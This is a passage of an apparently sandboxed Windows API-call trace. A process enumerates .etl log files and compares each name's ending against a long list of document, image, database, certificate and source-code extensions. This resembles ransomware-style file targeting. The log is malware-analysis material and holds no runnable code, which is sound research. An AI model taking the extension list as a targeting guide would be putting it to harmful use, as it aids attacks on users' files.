	[0179.828] lstrcmpiW (lpString1=".bmp", lpString2=".etl") returned -1
	[0179.828] lstrlenW (lpString=".bz2") returned 4
	[0179.828] lstrcmpiW (lpString1=".bz2", lpString2=".etl") returned -1
	[0179.828] lstrlenW (lpString=".c") returned 2
	[0179.828] lstrcmpiW (lpString1=".c", lpString2="tl") returned -1
	[0179.828] lstrlenW (lpString=".cdr") returned 4
	[0179.828] lstrcmpiW (lpString1=".cdr", lpString2=".etl") returned -1
	[0179.828] lstrlenW (lpString=".cer") returned 4
	[0179.828] lstrcmpiW (lpString1=".cer", lpString2=".etl") returned -1
	[0179.828] lstrlenW (lpString=".cf") returned 3
	[0179.828] lstrcmpiW (lpString1=".cf", lpString2="etl") returned -1
	[0179.828] lstrlenW (lpString=".cfc") returned 4
	[0179.828] lstrcmpiW (lpString1=".cfc", lpString2=".etl") returned -1
	[0179.828] lstrlenW (lpString=".cfm") returned 4
	[0179.828] lstrcmpiW (lpString1=".cfm", lpString2=".etl") returned -1
	[0179.828] lstrlenW (lpString=".cfml") returned 5
	[0179.828] lstrcmpiW (lpString1=".cfml", lpString2="2.etl") returned -1
	[0179.828] lstrlenW (lpString=".cfu") returned 4
	[0179.828] lstrcmpiW (lpString1=".cfu", lpString2=".etl") returned -1
	[0179.828] lstrlenW (lpString=".chm") returned 4
	[0179.828] lstrcmpiW (lpString1=".chm", lpString2=".etl") returned -1
	[0179.828] lstrlenW (lpString=".cin") returned 4
	[0179.828] lstrcmpiW (lpString1=".cin", lpString2=".etl") returned -1
	[0179.828] lstrlenW (lpString=".class") returned 6
	[0179.828] lstrcmpiW (lpString1=".class", lpString2="02.etl") returned -1
	[0179.829] lstrlenW (lpString=".clx") returned 4
	[0179.829] lstrcmpiW (lpString1=".clx", lpString2=".etl") returned -1
	[0179.829] lstrlenW (lpString=".config") returned 7
	[0179.829] lstrcmpiW (lpString1=".config", lpString2="002.etl") returned -1
	[0179.829] lstrlenW (lpString=".cpp") returned 4
	[0179.829] lstrcmpiW (lpString1=".cpp", lpString2=".etl") returned -1
	[0179.829] lstrlenW (lpString=".cr2") returned 4
	[0179.829] lstrcmpiW (lpString1=".cr2", lpString2=".etl") returned -1
	[0179.829] lstrlenW (lpString=".crt") returned 4
	[0179.829] lstrcmpiW (lpString1=".crt", lpString2=".etl") returned -1
	[0179.829] lstrlenW (lpString=".crw") returned 4
	[0179.829] lstrcmpiW (lpString1=".crw", lpString2=".etl") returned -1
	[0179.829] lstrlenW (lpString=".cs") returned 3
	[0179.829] lstrcmpiW (lpString1=".cs", lpString2="etl") returned -1
	[0179.829] lstrlenW (lpString=".css") returned 4
	[0179.829] lstrcmpiW (lpString1=".css", lpString2=".etl") returned -1
	[0179.829] lstrlenW (lpString=".csv") returned 4
	[0179.829] lstrcmpiW (lpString1=".csv", lpString2=".etl") returned -1
	[0179.829] lstrlenW (lpString=".cub") returned 4
	[0179.829] lstrcmpiW (lpString1=".cub", lpString2=".etl") returned -1
	[0179.829] lstrlenW (lpString=".dae") returned 4
	[0179.829] lstrcmpiW (lpString1=".dae", lpString2=".etl") returned -1
	[0179.829] lstrlenW (lpString=".dat") returned 4
	[0179.829] lstrcmpiW (lpString1=".dat", lpString2=".etl") returned -1
	[0179.829] lstrlenW (lpString=".db") returned 3
	[0179.829] lstrcmpiW (lpString1=".db", lpString2="etl") returned -1
	[0179.829] lstrlenW (lpString=".dbf") returned 4
	[0179.829] lstrcmpiW (lpString1=".dbf", lpString2=".etl") returned -1
	[0179.829] lstrlenW (lpString=".dbx") returned 4
	[0179.829] lstrcmpiW (lpString1=".dbx", lpString2=".etl") returned -1
	[0179.829] lstrlenW (lpString=".dc3") returned 4
	[0179.829] lstrcmpiW (lpString1=".dc3", lpString2=".etl") returned -1
	[0179.829] lstrlenW (lpString=".dcm") returned 4
	[0179.829] lstrcmpiW (lpString1=".dcm", lpString2=".etl") returned -1
	[0179.829] lstrlenW (lpString=".dcr") returned 4
	[0179.830] lstrcmpiW (lpString1=".dcr", lpString2=".etl") returned -1
	[0179.830] lstrlenW (lpString=".der") returned 4
	[0179.830] lstrcmpiW (lpString1=".der", lpString2=".etl") returned -1
	[0179.830] lstrlenW (lpString=".dib") returned 4
	[0179.830] lstrcmpiW (lpString1=".dib", lpString2=".etl") returned -1
	[0179.830] lstrlenW (lpString=".dic") returned 4
	[0179.830] lstrcmpiW (lpString1=".dic", lpString2=".etl") returned -1
	[0179.830] lstrlenW (lpString=".dif") returned 4
	[0179.830] lstrcmpiW (lpString1=".dif", lpString2=".etl") returned -1
	[0179.830] lstrlenW (lpString=".divx") returned 5
	[0179.830] lstrcmpiW (lpString1=".divx", lpString2="2.etl") returned -1
	[0179.830] lstrlenW (lpString=".djvu") returned 5
	[0179.830] lstrcmpiW (lpString1=".djvu", lpString2="2.etl") returned -1
	[0179.830] lstrlenW (lpString=".dng") returned 4
	[0179.830] lstrcmpiW (lpString1=".dng", lpString2=".etl") returned -1
	[0179.830] lstrlenW (lpString=".doc") returned 4
	[0179.830] lstrcmpiW (lpString1=".doc", lpString2=".etl") returned -1
	[0179.830] lstrlenW (lpString=".docm") returned 5
	[0179.830] lstrcmpiW (lpString1=".docm", lpString2="2.etl") returned -1
	[0179.830] lstrlenW (lpString=".docx") returned 5
	[0179.830] lstrcmpiW (lpString1=".docx", lpString2="2.etl") returned -1
	[0179.830] lstrlenW (lpString=".dot") returned 4
	[0179.830] lstrcmpiW (lpString1=".dot", lpString2=".etl") returned -1
	[0179.830] lstrlenW (lpString=".dotm") returned 5
	[0179.830] lstrcmpiW (lpString1=".dotm", lpString2="2.etl") returned -1
	[0179.830] lstrlenW (lpString=".dotx") returned 5
	[0179.830] lstrcmpiW (lpString1=".dotx", lpString2="2.etl") returned -1
	[0179.830] lstrlenW (lpString=".dpx") returned 4
	[0179.830] lstrcmpiW (lpString1=".dpx", lpString2=".etl") returned -1
	[0179.830] lstrlenW (lpString=".dqy") returned 4
	[0179.830] lstrcmpiW (lpString1=".dqy", lpString2=".etl") returned -1
	[0179.830] lstrlenW (lpString=".dsn") returned 4
	[0179.830] lstrcmpiW (lpString1=".dsn", lpString2=".etl") returned -1
	[0179.831] lstrlenW (lpString=".dt") returned 3
	[0179.831] lstrcmpiW (lpString1=".dt", lpString2="etl") returned -1
	[0179.831] lstrlenW (lpString=".dtd") returned 4
	[0179.831] lstrcmpiW (lpString1=".dtd", lpString2=".etl") returned -1
	[0179.831] lstrlenW (lpString=".dwg") returned 4
	[0179.831] lstrcmpiW (lpString1=".dwg", lpString2=".etl") returned -1
	[0179.831] lstrlenW (lpString=".dwt") returned 4
	[0179.831] lstrcmpiW (lpString1=".dwt", lpString2=".etl") returned -1
	[0179.831] lstrlenW (lpString=".dx") returned 3
	[0179.831] lstrcmpiW (lpString1=".dx", lpString2="etl") returned -1
	[0179.831] lstrlenW (lpString=".dxf") returned 4
	[0179.831] lstrcmpiW (lpString1=".dxf", lpString2=".etl") returned -1
	[0179.831] lstrlenW (lpString=".edml") returned 5
	[0179.831] lstrcmpiW (lpString1=".edml", lpString2="2.etl") returned -1
	[0179.831] lstrlenW (lpString=".efd") returned 4
	[0179.831] lstrcmpiW (lpString1=".efd", lpString2=".etl") returned -1
	[0179.831] lstrlenW (lpString=".elf") returned 4
	[0179.831] lstrcmpiW (lpString1=".elf", lpString2=".etl") returned -1
	[0179.831] lstrlenW (lpString=".emf") returned 4
	[0179.831] lstrcmpiW (lpString1=".emf", lpString2=".etl") returned -1
	[0179.831] lstrlenW (lpString=".emz") returned 4
	[0179.831] lstrcmpiW (lpString1=".emz", lpString2=".etl") returned -1
	[0179.831] lstrlenW (lpString=".epf") returned 4
	[0179.831] lstrcmpiW (lpString1=".epf", lpString2=".etl") returned -1
	[0179.831] lstrlenW (lpString=".eps") returned 4
	[0179.831] lstrcmpiW (lpString1=".eps", lpString2=".etl") returned -1
	[0179.831] lstrlenW (lpString=".epsf") returned 5
	[0179.831] lstrcmpiW (lpString1=".epsf", lpString2="2.etl") returned -1
	[0179.831] lstrlenW (lpString=".epsp") returned 5
	[0179.831] lstrcmpiW (lpString1=".epsp", lpString2="2.etl") returned -1
	[0179.831] lstrlenW (lpString=".erf") returned 4
	[0179.831] lstrcmpiW (lpString1=".erf", lpString2=".etl") returned -1
	[0179.831] lstrlenW (lpString=".exr") returned 4
	[0179.831] lstrcmpiW (lpString1=".exr", lpString2=".etl") returned 1
	[0179.831] lstrlenW (lpString=".f4v") returned 4
	[0179.832] lstrcmpiW (lpString1=".f4v", lpString2=".etl") returned 1
	[0179.832] lstrlenW (lpString=".fido") returned 5
	[0179.832] lstrcmpiW (lpString1=".fido", lpString2="2.etl") returned -1
	[0179.832] lstrlenW (lpString=".flm") returned 4
	[0179.832] lstrcmpiW (lpString1=".flm", lpString2=".etl") returned 1
	[0179.832] lstrlenW (lpString=".flv") returned 4
	[0179.832] lstrcmpiW (lpString1=".flv", lpString2=".etl") returned 1
	[0179.832] lstrlenW (lpString=".frm") returned 4
	[0179.832] lstrcmpiW (lpString1=".frm", lpString2=".etl") returned 1
	[0179.832] lstrlenW (lpString=".fxg") returned 4
	[0179.832] lstrcmpiW (lpString1=".fxg", lpString2=".etl") returned 1
	[0179.832] lstrlenW (lpString=".geo") returned 4
	[0179.832] lstrcmpiW (lpString1=".geo", lpString2=".etl") returned 1
	[0179.832] lstrlenW (lpString=".gif") returned 4
	[0179.832] lstrcmpiW (lpString1=".gif", lpString2=".etl") returned 1
	[0179.832] lstrlenW (lpString=".grs") returned 4
	[0179.832] lstrcmpiW (lpString1=".grs", lpString2=".etl") returned 1
	[0179.832] lstrlenW (lpString=".gz") returned 3
	[0179.832] lstrcmpiW (lpString1=".gz", lpString2="etl") returned -1
	[0179.832] lstrlenW (lpString=".h") returned 2
	[0179.832] lstrcmpiW (lpString1=".h", lpString2="tl") returned -1
	[0179.832] lstrlenW (lpString=".hdr") returned 4
	[0179.832] lstrcmpiW (lpString1=".hdr", lpString2=".etl") returned 1
	[0179.832] lstrlenW (lpString=".hpp") returned 4
	[0179.832] lstrcmpiW (lpString1=".hpp", lpString2=".etl") returned 1
	[0179.832] lstrlenW (lpString=".hta") returned 4
	[0179.832] lstrcmpiW (lpString1=".hta", lpString2=".etl") returned 1
	[0179.832] lstrlenW (lpString=".htc") returned 4
	[0179.832] lstrcmpiW (lpString1=".htc", lpString2=".etl") returned 1
	[0179.832] lstrlenW (lpString=".htm") returned 4
	[0179.832] lstrcmpiW (lpString1=".htm", lpString2=".etl") returned 1
	[0179.832] lstrlenW (lpString=".html") returned 5
	[0179.832] lstrcmpiW (lpString1=".html", lpString2="2.etl") returned -1
	[0179.832] lstrlenW (lpString=".icb") returned 4
	[0179.833] lstrcmpiW (lpString1=".icb", lpString2=".etl") returned 1
	[0179.833] lstrlenW (lpString=".ics") returned 4
	[0179.833] lstrcmpiW (lpString1=".ics", lpString2=".etl") returned 1
	[0179.833] lstrlenW (lpString=".iff") returned 4
	[0179.833] lstrcmpiW (lpString1=".iff", lpString2=".etl") returned 1
	[0179.833] lstrlenW (lpString=".inc") returned 4
	[0179.833] lstrcmpiW (lpString1=".inc", lpString2=".etl") returned 1
	[0179.833] lstrlenW (lpString=".indd") returned 5
	[0179.833] lstrcmpiW (lpString1=".indd", lpString2="2.etl") returned -1
	[0179.833] lstrlenW (lpString=".ini") returned 4
	[0179.833] lstrcmpiW (lpString1=".ini", lpString2=".etl") returned 1
	[0179.833] lstrlenW (lpString=".iqy") returned 4
	[0179.833] lstrcmpiW (lpString1=".iqy", lpString2=".etl") returned 1
	[0179.833] lstrlenW (lpString=".j2c") returned 4
	[0179.833] lstrcmpiW (lpString1=".j2c", lpString2=".etl") returned 1
	[0179.833] lstrlenW (lpString=".j2k") returned 4
	[0179.833] lstrcmpiW (lpString1=".j2k", lpString2=".etl") returned 1
	[0179.833] lstrlenW (lpString=".java") returned 5
	[0179.833] lstrcmpiW (lpString1=".java", lpString2="2.etl") returned -1
	[0179.833] lstrlenW (lpString=".jp2") returned 4
	[0179.833] lstrcmpiW (lpString1=".jp2", lpString2=".etl") returned 1
	[0179.833] lstrlenW (lpString=".jpc") returned 4
	[0179.833] lstrcmpiW (lpString1=".jpc", lpString2=".etl") returned 1
	[0179.833] lstrlenW (lpString=".jpe") returned 4
	[0179.833] lstrcmpiW (lpString1=".jpe", lpString2=".etl") returned 1
	[0179.833] lstrlenW (lpString=".jpeg") returned 5
	[0179.833] lstrcmpiW (lpString1=".jpeg", lpString2="2.etl") returned -1
	[0179.833] lstrlenW (lpString=".jpf") returned 4
	[0179.833] lstrcmpiW (lpString1=".jpf", lpString2=".etl") returned 1
	[0179.833] lstrlenW (lpString=".jpg") returned 4
	[0179.833] lstrcmpiW (lpString1=".jpg", lpString2=".etl") returned 1
	[0179.833] lstrlenW (lpString=".jpx") returned 4
	[0179.833] lstrcmpiW (lpString1=".jpx", lpString2=".etl") returned 1
	[0179.833] lstrlenW (lpString=".js") returned 3
	[0179.834] lstrcmpiW (lpString1=".js", lpString2="etl") returned -1
	[0179.834] lstrlenW (lpString=".jsf") returned 4
	[0179.834] lstrcmpiW (lpString1=".jsf", lpString2=".etl") returned 1
	[0179.834] lstrlenW (lpString=".json") returned 5
	[0179.834] lstrcmpiW (lpString1=".json", lpString2="2.etl") returned -1
	[0179.834] lstrlenW (lpString=".jsp") returned 4
	[0179.834] lstrcmpiW (lpString1=".jsp", lpString2=".etl") returned 1
	[0179.834] lstrlenW (lpString=".kdc") returned 4
	[0179.834] lstrcmpiW (lpString1=".kdc", lpString2=".etl") returned 1
	[0179.834] lstrlenW (lpString=".kmz") returned 4
	[0179.834] lstrcmpiW (lpString1=".kmz", lpString2=".etl") returned 1
	[0179.834] lstrlenW (lpString=".kwm") returned 4
	[0179.834] lstrcmpiW (lpString1=".kwm", lpString2=".etl") returned 1
	[0179.834] lstrlenW (lpString=".lasso") returned 6
	[0179.834] lstrcmpiW (lpString1=".lasso", lpString2="02.etl") returned -1
	[0179.834] lstrlenW (lpString=".lbi") returned 4
	[0179.834] lstrcmpiW (lpString1=".lbi", lpString2=".etl") returned 1
	[0179.834] lstrlenW (lpString=".lgf") returned 4
	[0179.834] lstrcmpiW (lpString1=".lgf", lpString2=".etl") returned 1
	[0179.834] lstrlenW (lpString=".lgp") returned 4
	[0179.834] lstrcmpiW (lpString1=".lgp", lpString2=".etl") returned 1
	[0179.834] lstrlenW (lpString=".log") returned 4
	[0179.834] lstrcmpiW (lpString1=".log", lpString2=".etl") returned 1
	[0179.834] lstrlenW (lpString=".m1v") returned 4
	[0179.834] lstrcmpiW (lpString1=".m1v", lpString2=".etl") returned 1
	[0179.834] lstrlenW (lpString=".m4a") returned 4
	[0179.834] lstrcmpiW (lpString1=".m4a", lpString2=".etl") returned 1
	[0179.834] lstrlenW (lpString=".m4v") returned 4
	[0179.834] lstrcmpiW (lpString1=".m4v", lpString2=".etl") returned 1
	[0179.834] lstrlenW (lpString=".max") returned 4
	[0179.834] lstrcmpiW (lpString1=".max", lpString2=".etl") returned 1
	[0179.834] lstrlenW (lpString=".md") returned 3
	[0179.834] lstrcmpiW (lpString1=".md", lpString2="etl") returned -1
	[0179.834] lstrlenW (lpString=".mda") returned 4
	[0179.835] lstrcmpiW (lpString1=".mda", lpString2=".etl") returned 1
	[0179.835] lstrlenW (lpString=".mdb") returned 4
	[0179.835] lstrcmpiW (lpString1=".mdb", lpString2=".etl") returned 1
	[0179.835] lstrlenW (lpString=".mde") returned 4
	[0179.835] lstrcmpiW (lpString1=".mde", lpString2=".etl") returned 1
	[0179.835] lstrlenW (lpString=".mdf") returned 4
	[0179.835] lstrcmpiW (lpString1=".mdf", lpString2=".etl") returned 1
	[0179.835] lstrlenW (lpString=".mdw") returned 4
	[0179.835] lstrcmpiW (lpString1=".mdw", lpString2=".etl") returned 1
	[0179.835] lstrlenW (lpString=".mef") returned 4
	[0179.835] lstrcmpiW (lpString1=".mef", lpString2=".etl") returned 1
	[0179.835] lstrlenW (lpString=".mft") returned 4
	[0179.835] lstrcmpiW (lpString1=".mft", lpString2=".etl") returned 1
	[0179.835] lstrlenW (lpString=".mfw") returned 4
	[0179.835] lstrcmpiW (lpString1=".mfw", lpString2=".etl") returned 1
	[0179.835] lstrlenW (lpString=".mht") returned 4
	[0179.835] lstrcmpiW (lpString1=".mht", lpString2=".etl") returned 1
	[0179.835] lstrlenW (lpString=".mhtml") returned 6
	[0179.835] lstrcmpiW (lpString1=".mhtml", lpString2="02.etl") returned -1
	[0179.835] lstrlenW (lpString=".mka") returned 4
	[0179.835] lstrcmpiW (lpString1=".mka", lpString2=".etl") returned 1
	[0179.835] lstrlenW (lpString=".mkidx") returned 6
	[0179.835] lstrcmpiW (lpString1=".mkidx", lpString2="02.etl") returned -1
	[0179.835] lstrlenW (lpString=".mkv") returned 4
	[0179.835] lstrcmpiW (lpString1=".mkv", lpString2=".etl") returned 1
	[0179.835] lstrlenW (lpString=".mos") returned 4
	[0179.835] lstrcmpiW (lpString1=".mos", lpString2=".etl") returned 1
	[0179.835] lstrlenW (lpString=".mov") returned 4
	[0179.835] lstrcmpiW (lpString1=".mov", lpString2=".etl") returned 1
	[0179.836] lstrlenW (lpString=".mp3") returned 4
	[0179.836] lstrcmpiW (lpString1=".mp3", lpString2=".etl") returned 1
	[0179.836] lstrlenW (lpString=".mp4") returned 4
	[0179.836] lstrcmpiW (lpString1=".mp4", lpString2=".etl") returned 1
	[0179.836] lstrlenW (lpString=".mpeg") returned 5
	[0179.836] lstrcmpiW (lpString1=".mpeg", lpString2="2.etl") returned -1
	[0179.836] lstrlenW (lpString=".mpg") returned 4
	[0179.836] lstrcmpiW (lpString1=".mpg", lpString2=".etl") returned 1
	[0179.836] lstrlenW (lpString=".mpv") returned 4
	[0179.836] lstrcmpiW (lpString1=".mpv", lpString2=".etl") returned 1
	[0179.836] lstrlenW (lpString=".mrw") returned 4
	[0179.836] lstrcmpiW (lpString1=".mrw", lpString2=".etl") returned 1
	[0179.836] lstrlenW (lpString=".msg") returned 4
	[0179.836] lstrcmpiW (lpString1=".msg", lpString2=".etl") returned 1
	[0179.836] lstrlenW (lpString=".mxl") returned 4
	[0179.836] lstrcmpiW (lpString1=".mxl", lpString2=".etl") returned 1
	[0179.836] lstrlenW (lpString=".myd") returned 4
	[0179.836] lstrcmpiW (lpString1=".myd", lpString2=".etl") returned 1
	[0179.836] lstrlenW (lpString=".myi") returned 4
	[0179.836] lstrcmpiW (lpString1=".myi", lpString2=".etl") returned 1
	[0179.836] lstrlenW (lpString=".nef") returned 4
	[0179.836] lstrcmpiW (lpString1=".nef", lpString2=".etl") returned 1
	[0179.836] lstrlenW (lpString=".nrw") returned 4
	[0179.836] lstrcmpiW (lpString1=".nrw", lpString2=".etl") returned 1
	[0179.836] lstrlenW (lpString=".obj") returned 4
	[0179.836] lstrcmpiW (lpString1=".obj", lpString2=".etl") returned 1
	[0179.836] lstrlenW (lpString=".odb") returned 4
	[0179.836] lstrcmpiW (lpString1=".odb", lpString2=".etl") returned 1
	[0179.836] lstrlenW (lpString=".odc") returned 4
	[0179.836] lstrcmpiW (lpString1=".odc", lpString2=".etl") returned 1
	[0179.836] lstrlenW (lpString=".odm") returned 4
	[0179.836] lstrcmpiW (lpString1=".odm", lpString2=".etl") returned 1
	[0179.836] lstrlenW (lpString=".odp") returned 4
	[0179.837] lstrcmpiW (lpString1=".odp", lpString2=".etl") returned 1
	[0179.837] lstrlenW (lpString=".ods") returned 4
	[0179.837] lstrcmpiW (lpString1=".ods", lpString2=".etl") returned 1
	[0179.837] lstrlenW (lpString=".oft") returned 4
	[0179.837] lstrcmpiW (lpString1=".oft", lpString2=".etl") returned 1
	[0179.837] lstrlenW (lpString=".one") returned 4
	[0179.837] lstrcmpiW (lpString1=".one", lpString2=".etl") returned 1
	[0179.837] lstrlenW (lpString=".onepkg") returned 7
	[0179.837] lstrcmpiW (lpString1=".onepkg", lpString2="002.etl") returned -1
	[0179.837] lstrlenW (lpString=".onetoc2") returned 8
	[0179.837] lstrcmpiW (lpString1=".onetoc2", lpString2=".002.etl") returned 1
	[0179.837] lstrlenW (lpString=".opt") returned 4
	[0179.837] lstrcmpiW (lpString1=".opt", lpString2=".etl") returned 1
	[0179.837] lstrlenW (lpString=".oqy") returned 4
	[0179.837] lstrcmpiW (lpString1=".oqy", lpString2=".etl") returned 1
	[0179.837] lstrlenW (lpString=".orf") returned 4
	[0179.837] lstrcmpiW (lpString1=".orf", lpString2=".etl") returned 1
	[0179.837] lstrlenW (lpString=".p12") returned 4
	[0179.837] lstrcmpiW (lpString1=".p12", lpString2=".etl") returned 1
	[0179.837] lstrlenW (lpString=".p7b") returned 4
	[0179.837] lstrcmpiW (lpString1=".p7b", lpString2=".etl") returned 1
	[0179.837] lstrlenW (lpString=".p7c") returned 4
	[0179.837] lstrcmpiW (lpString1=".p7c", lpString2=".etl") returned 1
	[0179.837] lstrlenW (lpString=".pam") returned 4
	[0179.837] lstrcmpiW (lpString1=".pam", lpString2=".etl") returned 1
	[0179.837] lstrlenW (lpString=".pbm") returned 4
	[0179.837] lstrcmpiW (lpString1=".pbm", lpString2=".etl") returned 1
	[0179.837] lstrlenW (lpString=".pct") returned 4
	[0179.837] lstrcmpiW (lpString1=".pct", lpString2=".etl") returned 1
	[0179.837] lstrlenW (lpString=".pcx") returned 4
	[0179.837] lstrcmpiW (lpString1=".pcx", lpString2=".etl") returned 1
	[0179.838] lstrlenW (lpString=".pdd") returned 4
	[0179.838] lstrcmpiW (lpString1=".pdd", lpString2=".etl") returned 1
	[0179.838] lstrlenW (lpString=".pdf") returned 4
	[0179.838] lstrcmpiW (lpString1=".pdf", lpString2=".etl") returned 1
	[0179.838] lstrlenW (lpString=".pdp") returned 4
	[0179.838] lstrcmpiW (lpString1=".pdp", lpString2=".etl") returned 1
	[0179.838] lstrlenW (lpString=".pef") returned 4
	[0179.838] lstrcmpiW (lpString1=".pef", lpString2=".etl") returned 1
	[0179.838] lstrlenW (lpString=".pem") returned 4
	[0179.838] lstrcmpiW (lpString1=".pem", lpString2=".etl") returned 1
	[0179.838] lstrlenW (lpString=".pff") returned 4
	[0179.838] lstrcmpiW (lpString1=".pff", lpString2=".etl") returned 1
	[0179.838] lstrlenW (lpString=".pfm") returned 4
	[0179.838] lstrcmpiW (lpString1=".pfm", lpString2=".etl") returned 1
	[0179.838] lstrlenW (lpString=".pfx") returned 4
	[0179.840] lstrcmpiW (lpString1=".pfx", lpString2=".etl") returned 1
	[0179.840] lstrlenW (lpString=".pgm") returned 4
	[0179.840] lstrcmpiW (lpString1=".pgm", lpString2=".etl") returned 1
	[0179.840] lstrlenW (lpString=".php") returned 4
	[0179.840] lstrcmpiW (lpString1=".php", lpString2=".etl") returned 1
	[0179.840] lstrlenW (lpString=".php3") returned 5
	[0179.840] lstrcmpiW (lpString1=".php3", lpString2="2.etl") returned -1
	[0179.840] lstrlenW (lpString=".php4") returned 5
	[0179.840] lstrcmpiW (lpString1=".php4", lpString2="2.etl") returned -1
	[0179.840] lstrlenW (lpString=".php5") returned 5
	[0179.840] lstrcmpiW (lpString1=".php5", lpString2="2.etl") returned -1
	[0179.840] lstrlenW (lpString=".phtml") returned 6
	[0179.840] lstrcmpiW (lpString1=".phtml", lpString2="02.etl") returned -1
	[0179.840] lstrlenW (lpString=".pict") returned 5
	[0179.840] lstrcmpiW (lpString1=".pict", lpString2="2.etl") returned -1
	[0179.841] lstrlenW (lpString=".pl") returned 3
	[0179.841] lstrcmpiW (lpString1=".pl", lpString2="etl") returned -1
	[0179.841] lstrlenW (lpString=".pls") returned 4
	[0179.841] lstrcmpiW (lpString1=".pls", lpString2=".etl") returned 1
	[0179.841] lstrlenW (lpString=".pm") returned 3
	[0179.841] lstrcmpiW (lpString1=".pm", lpString2="etl") returned -1
	[0179.841] lstrlenW (lpString=".png") returned 4
	[0179.841] lstrcmpiW (lpString1=".png", lpString2=".etl") returned 1
	[0179.841] lstrlenW (lpString=".pnm") returned 4
	[0179.841] lstrcmpiW (lpString1=".pnm", lpString2=".etl") returned 1
	[0179.841] lstrlenW (lpString=".pot") returned 4
	[0179.841] lstrcmpiW (lpString1=".pot", lpString2=".etl") returned 1
	[0179.841] lstrlenW (lpString=".potm") returned 5
	[0179.841] lstrcmpiW (lpString1=".potm", lpString2="2.etl") returned -1
	[0179.841] lstrlenW (lpString=".potx") returned 5
	[0179.841] lstrcmpiW (lpString1=".potx", lpString2="2.etl") returned -1
	[0179.841] lstrlenW (lpString=".ppa") returned 4
	[0179.841] lstrcmpiW (lpString1=".ppa", lpString2=".etl") returned 1
	[0179.841] lstrlenW (lpString=".ppam") returned 5
	[0179.841] lstrcmpiW (lpString1=".ppam", lpString2="2.etl") returned -1
	[0179.841] lstrlenW (lpString=".ppm") returned 4
	[0179.841] lstrcmpiW (lpString1=".ppm", lpString2=".etl") returned 1
	[0179.841] lstrlenW (lpString=".pps") returned 4
	[0179.841] lstrcmpiW (lpString1=".pps", lpString2=".etl") returned 1
	[0179.841] lstrlenW (lpString=".ppsm") returned 5
	[0179.841] lstrcmpiW (lpString1=".ppsm", lpString2="2.etl") returned -1
	[0179.841] lstrlenW (lpString=".ppt") returned 4
	[0179.841] lstrcmpiW (lpString1=".ppt", lpString2=".etl") returned 1
	[0179.841] lstrlenW (lpString=".pptm") returned 5
	[0179.841] lstrcmpiW (lpString1=".pptm", lpString2="2.etl") returned -1
	[0179.841] lstrlenW (lpString=".pptx") returned 5
	[0179.841] lstrcmpiW (lpString1=".pptx", lpString2="2.etl") returned -1
	[0179.841] lstrlenW (lpString=".prn") returned 4
	[0179.842] lstrcmpiW (lpString1=".prn", lpString2=".etl") returned 1
	[0179.842] lstrlenW (lpString=".ps") returned 3
	[0179.842] lstrcmpiW (lpString1=".ps", lpString2="etl") returned -1
	[0179.842] lstrlenW (lpString=".psb") returned 4
	[0179.842] lstrcmpiW (lpString1=".psb", lpString2=".etl") returned 1
	[0179.842] lstrlenW (lpString=".psd") returned 4
	[0179.842] lstrcmpiW (lpString1=".psd", lpString2=".etl") returned 1
	[0179.842] lstrlenW (lpString=".pst") returned 4
	[0179.842] lstrcmpiW (lpString1=".pst", lpString2=".etl") returned 1
	[0179.842] lstrlenW (lpString=".ptx") returned 4
	[0179.842] lstrcmpiW (lpString1=".ptx", lpString2=".etl") returned 1
	[0179.842] lstrlenW (lpString=".pub") returned 4
	[0179.842] lstrcmpiW (lpString1=".pub", lpString2=".etl") returned 1
	[0179.842] lstrlenW (lpString=".pwm") returned 4
	[0179.842] lstrcmpiW (lpString1=".pwm", lpString2=".etl") returned 1
	[0179.842] lstrlenW (lpString=".pxr") returned 4
	[0179.842] lstrcmpiW (lpString1=".pxr", lpString2=".etl") returned 1
	[0179.842] lstrlenW (lpString=".py") returned 3
	[0179.842] lstrcmpiW (lpString1=".py", lpString2="etl") returned -1
	[0179.842] lstrlenW (lpString=".qt") returned 3
	[0179.842] lstrcmpiW (lpString1=".qt", lpString2="etl") returned -1
	[0179.842] lstrlenW (lpString=".r3d") returned 4
	[0179.842] lstrcmpiW (lpString1=".r3d", lpString2=".etl") returned 1
	[0179.842] lstrlenW (lpString=".raf") returned 4
	[0179.842] lstrcmpiW (lpString1=".raf", lpString2=".etl") returned 1
	[0179.842] lstrlenW (lpString=".rar") returned 4
	[0179.842] lstrcmpiW (lpString1=".rar", lpString2=".etl") returned 1
	[0179.842] lstrlenW (lpString=".raw") returned 4
	[0179.842] lstrcmpiW (lpString1=".raw", lpString2=".etl") returned 1
	[0179.843] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x5c983e05, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5f01bf05, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.003.etl", cAlternateFileName="UN3A48~1.ETL")) returned 1
	[0179.843] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4308f96d, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x4416619d, ftLastWriteTime.dwHighDateTime=0x1d41dc4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.004.etl", cAlternateFileName="UNE414~1.ETL")) returned 1
	[0179.843] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x74f27e5, ftLastAccessTime.dwHighDateTime=0x1d3aafc, ftLastWriteTime.dwLowDateTime=0xb20ade5, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.005.etl", cAlternateFileName="UN7020~1.ETL")) returned 1
